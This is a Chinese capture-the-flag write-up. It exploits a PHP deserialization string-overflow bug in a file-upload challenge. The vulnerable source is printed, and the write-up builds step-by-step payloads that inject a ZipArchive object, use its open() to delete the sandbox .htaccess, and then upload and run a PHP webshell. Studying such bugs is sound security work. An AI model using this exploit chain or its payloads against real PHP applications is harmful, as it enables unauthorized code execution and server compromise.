从一道题看PHP反序列化字符串溢出
题目地址:
http://www.bmzclub.cn/challenges#file-vault
01
目录扫描分析代码
这是一道很好反序列化字符串溢出的题目,首先打开容器看到这是一个上传点
先进行目录扫描,发现存在vim的备份文件 index.php~
查看 index.php~ 得到源码如下
?phperror_reporting(0);include('secret.php');$sandbox_dir = 'sandbox/'.sha1($_SERVER['REMOTE_ADDR']);global $sandbox_dir;function myserialize($a, $secret) {$b = str_replace("../","./", serialize($a));return $b.hash_hmac('sha256', $b, $secret);}function myunserialize($a, $secret) {if(substr($a, -64) === hash_hmac('sha256', substr($a, 0, -64), $secret)){return unserialize(substr($a, 0, -64));}}class UploadFile {function upload($fakename, $content) {global $sandbox_dir;$info = pathinfo($fakename);$ext = isset($info['extension']) ? ".".$info['extension'] : '.txt';file_put_contents($sandbox_dir.'/'.sha1($content).$ext, $content);$this->fakename = $fakename;$this->realname = sha1($content).$ext;}function open($fakename, $realname) {global $sandbox_dir;$analysis = "$fakename is in folder $sandbox_dir/$realname.";return $analysis;}}if(!is_dir($sandbox_dir)) {mkdir($sandbox_dir);}if(!is_file($sandbox_dir.'/.htaccess')) {file_put_contents($sandbox_dir.'/.htaccess', "php_flag engine off");}if(!isset($_GET['action'])) {$_GET['action'] = 'home';}if(!isset($_COOKIE['files'])) {setcookie('files', myserialize([], $secret));$_COOKIE['files'] = myserialize([], $secret);}switch($_GET['action']){case 'home':default:$content = "enctype='multipart/form-data'>type='submit'/>";$files = myunserialize($_COOKIE['files'], $secret);if($files) {$content .= " ";$i = 0;foreach($files as $file) {$content .= " value='".htmlspecialchars($file->fakename)."'>value='Click to edit name'> target='_blank'>Click to show locations ";$i++;}$content .= " ";}echo $content;break;case 'upload':if($_SERVER['REQUEST_METHOD'] === "POST") {if(isset($_FILES['file'])) {$uploadfile = new UploadFile;$uploadfile->upload($_FILES['file']['name'],file_get_contents($_FILES['file']['tmp_name']));$files = myunserialize($_COOKIE['files'], $secret);$files[] = $uploadfile;setcookie('files', myserialize($files, $secret));header("Location: index.php?action=home");exit;}}break;case 'changename':if($_SERVER['REQUEST_METHOD'] === "POST") {$files = myunserialize($_COOKIE['files'], $secret);if(isset($files[$_GET['i']]) && isset($_POST['newname'])){$files[$_GET['i']]->fakename = $_POST['newname'];}setcookie('files', myserialize($files, $secret));}header("Location: index.php?action=home");exit;case 'open':$files = myunserialize($_COOKIE['files'], $secret);if(isset($files[$_GET['i']])){echo $files[$_GET['i']]->open($files[$_GET['i']]->fakename,$files[$_GET['i']]->realname);}exit;case 'reset':setcookie('files', myserialize([], $secret));$_COOKIE['files'] = myserialize([], $secret);array_map('unlink', glob("$sandbox_dir/*"));header("Location: index.php?action=home");exit;}
代码稍微比较多一点,我们一段一段来分析一下,先看第一段
$sandbox_dir = 'sandbox/'.sha1($_SERVER['REMOTE_ADDR']);global $sandbox_dir;function myserialize($a, $secret) {$b = str_replace("../","./", serialize($a));return $b.hash_hmac('sha256', $b, $secret);}function myunserialize($a, $secret) {if(substr($a, -64) === hash_hmac('sha256', substr($a, 0, -64), $secret)){return unserialize(substr($a, 0, -64));}}
$sanbox_dir 即将访问者的IP经过SHA1加密拼接在sanbox后构成单独的路径,例如:san
box/4b84b15bff6ee5796152495a230e45e3d7e947d9 。myserialize() ,将传入的 $a 序列化,然后进行一个字符串的替换( 这里是形成反序列化字
符串溢出的关键点 )得到 $b ,最后返回 SHA256 有未知密钥( $secret )加密后的 $b 作为签
名,拼接上 $b 的结果。myunserialize() ,首先截取 $a 的后 64位 部分与 SHA256 加密后的截掉末尾 64位 的$a ,这里就是做一个签名验证,验证序列化字符串加密后是否还是 myserialize() 返回
的正确签名,防止攻击者私自修改序列化字符串。最终返回反序列化后得对象。
接着看这段代码
if(!is_dir($sandbox_dir)) {mkdir($sandbox_dir);}if(!is_file($sandbox_dir.'/.htaccess')) {file_put_contents($sandbox_dir.'/.htaccess', "php_flag engine off");}
当 $sanbox_dir 路径不存在时,创建 $sanbox_dir 。检测在 $sanbox_dir 下是否存在 .hta
ccess 文件,不存在的话在 $sandbox_dir 下创建 .htaccess ,并写入 php_flag engine o
ff 。该配置作用是禁用当前目录下的PHP解析功能。
action 默认操作为 home ,检查是否设置 Cookie['files'] ,未设置的话设置 Cookie: files ,值为 myserialize($a, $secret) 的返回值, $a 的类型为数组。 $secert 一直都是未知的。
02
继续分析
class UploadFile {function upload($fakename, $content) {global $sandbox_dir;$info = pathinfo($fakename);$ext = isset($info['extension']) ? ".".$info['extension'] : '.txt';file_put_contents($sandbox_dir.'/'.sha1($content).$ext, $content);$this->fakename = $fakename;$this->realname = sha1($content).$ext;}function open($fakename, $realname) {global $sandbox_dir;$analysis = "$fakename is in folder $sandbox_dir/$realname.";return $analysis;}}
UploadFile 类中存在 upload() 和 open() 两个方法,先看 UploadFile::upload() ,将上
传的文件写入 $sandbox_dir 下,存储名称为文件内容的 SHA1 加密后的字符,如无后缀即
默认 .txt 后缀。没有文件类型限制。$this->fakename 即上传文件的名称, $this->real
name 是文件在服务器上存储的名称。UploadFile::open() 即返回指定的 fakename 以及 realname 的存储路径。
接着分析 action 传入不同值的操作
switch($_GET['action']){case 'home':default:$content = " enctype='multipart/form-data'>type='submit'/>"; $files = myunserialize($_COOKIE['files'], $secret);if($files) {$content .= " ";$i = 0;foreach($files as $file) {$content .= " value='".htmlspecialchars($file->fakename)."'>value='Click to edit name'> target='_blank'>Click to show locations ";$i++;}$content .= " ";}echo $content;break;case 'upload':if($_SERVER['REQUEST_METHOD'] === "POST") {if(isset($_FILES['file'])) {$uploadfile = new UploadFile;$uploadfile->upload($_FILES['file']['name'],file_get_contents($_FILES['file']['tmp_name']));$files = myunserialize($_COOKIE['files'], $secret);$files[] = $uploadfile;setcookie('files', myserialize($files, $secret));header("Location: index.php?action=home");exit;}}break;case 'changename':if($_SERVER['REQUEST_METHOD'] === "POST") {$files = myunserialize($_COOKIE['files'], $secret);if(isset($files[$_GET['i']]) && isset($_POST['newname'])){$files[$_GET['i']]->fakename = $_POST['newname'];}setcookie('files', myserialize($files, $secret));}header("Location: index.php?action=home");exit;case 'open':$files = myunserialize($_COOKIE['files'], $secret);if(isset($files[$_GET['i']])){echo $files[$_GET['i']]->open($files[$_GET['i']]->fakename,$files[$_GET['i']]->realname);}exit;case 'reset':setcookie('files', myserialize([], $secret));$_COOKIE['files'] = myserialize([], $secret);array_map('unlink', glob("$sandbox_dir/*"));header("Location: index.php?action=home");exit;}
?action=home :
默认执行,提供 ?action=upload 上传操作,反序列化Cookie中的 files 值,将数组的
每一个 UploadFile::fakename 取出来回显。提供 ?action=changename 以及 ?action=open 操作。上传一个展示一个。
?action=upload :
POST上传文件,实例化 UploadFile 类, $uploadfile 对象调用 UploadFile::upload
() 方法,获取上传的文件名称以及内容传入 upload() 方法。反序列化验证当前Cookie
中的序列化字符串,并增加根据新上传文件创建新的对象增加到数组中,并序列化存储
Cookie中。
?action=changename :
反序列化Cookie的值获取整个数组的对象,传入参数 i 来指向数组中的具体某个对
象,然后传入 newname 重新赋值原来的 UploadFile::fakename 。然后重新序列化存入
Cookie。
?action=open :
反序列化Cookie的值获取整个数组的对象,传入参数 i 来指向数组中的具体某个对象,然后传入 UploadFile::fakename 和 UploadFile::realname 并执行 UploadFile::o
pen() 操作。
?action=reset :
清空Cookie中数组的每个对象,并删除 $sandbox_dir 下的所有文件。
03
思路整理
分析完所有的代码,虽然上传文件无限制,但是有 .htaccess 的限制,就算上传了shell也
是没有用的。漏洞利用的关键点在
function myserialize($a, $secret) {$b = str_replace("../","./", serialize($a));return $b.hash_hmac('sha256', $b, $secret);}
这里对 序列化之后 的字符串进行了 str_replace() 替换字符操作,将序列化之后的字符串
中的 ../ 替换为了 ./ ,也就是说一个 ../ 被替换后会向后被吃掉的一个字符。反序列化
字符串溢出的原理这里就不详细介绍了,可自行查阅资料。
很明显我们对上传文件的能控制得只有上传文件的文件名,也就是 fakename ,并且肯定
不能直接修改 Cookie 的序列化字符串,有签名验证的。但是通过 ?action=changename 就
可以合法的控制 fakename 的值进行反序列化字符串溢出。
随便上传两个文件我们看下Cookie中存储的对象
a:2:{i:0;O:10:"UploadFile":2:{s:8:"fakename";s:8:"pic1.jpg";s:8:"realname";s:44:"9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:8:"pic2.png";s:8:"realname";s:44:"a8e9d61b8735df4a808d677b3714425850d4ee3f.png";}}ee685dd0e1596058c4f82035b24426f0193c3f9ec8780645070f3e43d295f718 array(2) {[0] =>class __PHP_Incomplete_Class#1 (3) {public $__PHP_Incomplete_Class_Name =>string(10) "UploadFile"public $fakename =>string(8) "pic1.jpg"public $realname =>string(44) "9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg"}[1] =>class __PHP_Incomplete_Class#2 (3) {public $__PHP_Incomplete_Class_Name =>string(10) "UploadFile"public $fakename =>string(8) "pic2.png"public $realname =>string(44) "a8e9d61b8735df4a808d677b3714425850d4ee3f.png"}}
构造反序列化溢出,我们可以上传两个文件之后,通过重命名第一个文件的 fakename ,
可以吃掉第二个文件原来的对象。引入一个新的对象,不过前提是我们需要先精妙的在第
二个对象的 fakename 处,构造出一个完整的对象实现漏洞利用并且要承上启下,精妙的
构造好前后的序列化字符串。
整个源码就一个类,两个对象,分别是 UploadFile::upload() 、 UploadFile::open() ,
而其中 open() 方法挺常见的,如果能找到一个含有 open() 方法的标准类( PHP内置已经定
义好的类 ),那么我们就可以利用这个类去利用其中同名方法 open() 的功能。
遍历下所有已定义好的类,看看哪些类中有 open() 方法
echo 'current PHP Version: '.phpversion()."";foreach (get_declared_classes() as $class) {foreach (get_class_methods($class) as $method) {if ($method == "open")echo "$class->$method";}}?> PS C:\Users\Administrator\Downloads> php -f .\class.phpcurrent PHP Version: 7.4.3SessionHandler->openZipArchive->openXMLReader->open
其中 ZipArchive->open($fakename, $realname) 方法正好是两个参数
$filename 对应 $fakename ,把 .htaccess 的路径赋给 $filename ,而 $flag 如果设置
成 ZipArchive::OVERWRITE ,就可以将改文件覆盖,即删除。
open('./.htaccess',ZipArchive::OVERWRITE);echo $rt;$zip->close();?>
删除了同目录下的 .htaccess
这里 ZipArchive::OVERWRITE 还可以用 9 代替
04
构造payload
接下来开始构造payload
任意上传两个文件后在cookie中取出反序列化字符串
a:2:{i:0;O:10:"UploadFile":2:{s:8:"fakename";s:8:"pic1.jpg";s:8:"realname";s:44:"9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:8:"pic2.png";s:8:"realname";s:44:"a8e9d61b8735df4a808d677b3714425850d4ee3f.png";}}ee685dd0e1596058c4f82035b24426f0193c3f9ec8780645070f3e43d295f718 array(2) {[0] =>class __PHP_Incomplete_Class#1 (3) {public $__PHP_Incomplete_Class_Name =>string(10) "UploadFile"public $fakename =>string(8) "pic1.jpg"public $realname =>string(44) "9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg"}[1] =>class __PHP_Incomplete_Class#2 (3) {public $__PHP_Incomplete_Class_Name =>string(10) "UploadFile"public $fakename =>string(8) "pic2.png"public $realname =>string(44) "a8e9d61b8735df4a808d677b3714425850d4ee3f.png"}}
任意查看一个上传的文件
得到 $sandbox_dir ,然后我们构造一个 ZipArchive 类
$zip = new ZipArchive();$zip->fakename = "sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess";$zip->realname = "9";echo serialize($zip);?> O:10:"ZipArchive":7:{s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:0:"";s:8:"fakename";s:58:"sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess";s:8:"realname";s:1:"9";}
首先构造第二个 UploadFile 对象的 fakename ,将 fakename 之后的序列化字符串取出
来,总共 67 个字符
";s:8:"realname";s:44:"a8e9d61b8735df4a808d677b3714425850d4ee3f.png
我们将 ZipArchive 的序列化字符串其中的对象位置顺序调整一下,将 ZipArchive::comme
nt 的长度调整到 67
O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"
这样就可以将第二个 fakename 之后的序列化字符串安置在 comment 中
然后需要将第一个 UploadFile 的对象的 realname 部分放在以上的payload前面
";s:8:"realname";s:6:"mochu7";}
值为什么无所谓,只是为了序列化的完整性,所以得到第二个 fakename 的payload最终
为:
";s:8:"realname";s:6:"mochu7";}i:1;O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"
注意: 因为是数组的第二个值,注意需要加上 i:1;
05
构造fakename的payload
接下来来分析下第一个 fakename 的payload该怎么构造,这是需要溢出吃掉的部分
";s:8:"realname";s:44:"9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:8:"
但是注意,因为我们是先重命名在数组中 i=1 的对象的 fakename ,所以当我们重命名完
之后数组中第二个对象的 fakename 之后,第一个对象的 fakename 长度要变为第一个
payload的字符长度
";s:8:"realname";s:44:"9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:258:"
以上才是需要溢出吃掉的字符串,长度为 117 ,所以我们需要 117 个 ../
../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../
最终,第二个对象需要重命名的 fakename
";s:8:"realname";s:6:"mochu7";}i:1;O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"
第一个对象需要重命名的 fakename
../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../
这时候看Cookie的序列化值
array(2) {[0] =>class __PHP_Incomplete_Class#1 (3) {public $__PHP_Incomplete_Class_Name =>string(10) "UploadFile"public $fakename =>string(351)"./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././";s:8:"realname";s:44:"9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:258:""public $realname =>string(6) "mochu7"}[1] =>class ZipArchive#2 (7) {public $status =>int(0)public $statusSys =>int(0)public $numFiles =>int(0)public $filename =>string(0) ""public $comment =>string(0) ""public $fakename =>string(58) "sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess"public $realname =>string(1) "9"}}
成功注入了 ZipArchive 对象,然后调用 ZipArchive 对象
/index.php?action=open&i=1
这样就可以删除 sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess 了,回
到 index.php 上传 shell.php上传 shell.php 之后再执行一遍上面的删除操作(因为访问 index.php 会再次生成 .htaccess 文件,我们需要上传shell后再删除),然后访问shell
已经可以解析php文件了
如果觉得本文不错的话,欢迎加入知识星球,星球内部设立了多个技术版块,目前涵盖“WEB安全”、“内网渗透”、“CTF技术区”、“漏洞分析”、“工具分享”五大类,还可以与嘉宾大佬们接触,在线答疑、互相探讨。
▼扫码关注白帽子社区公众号&加入知识星球▼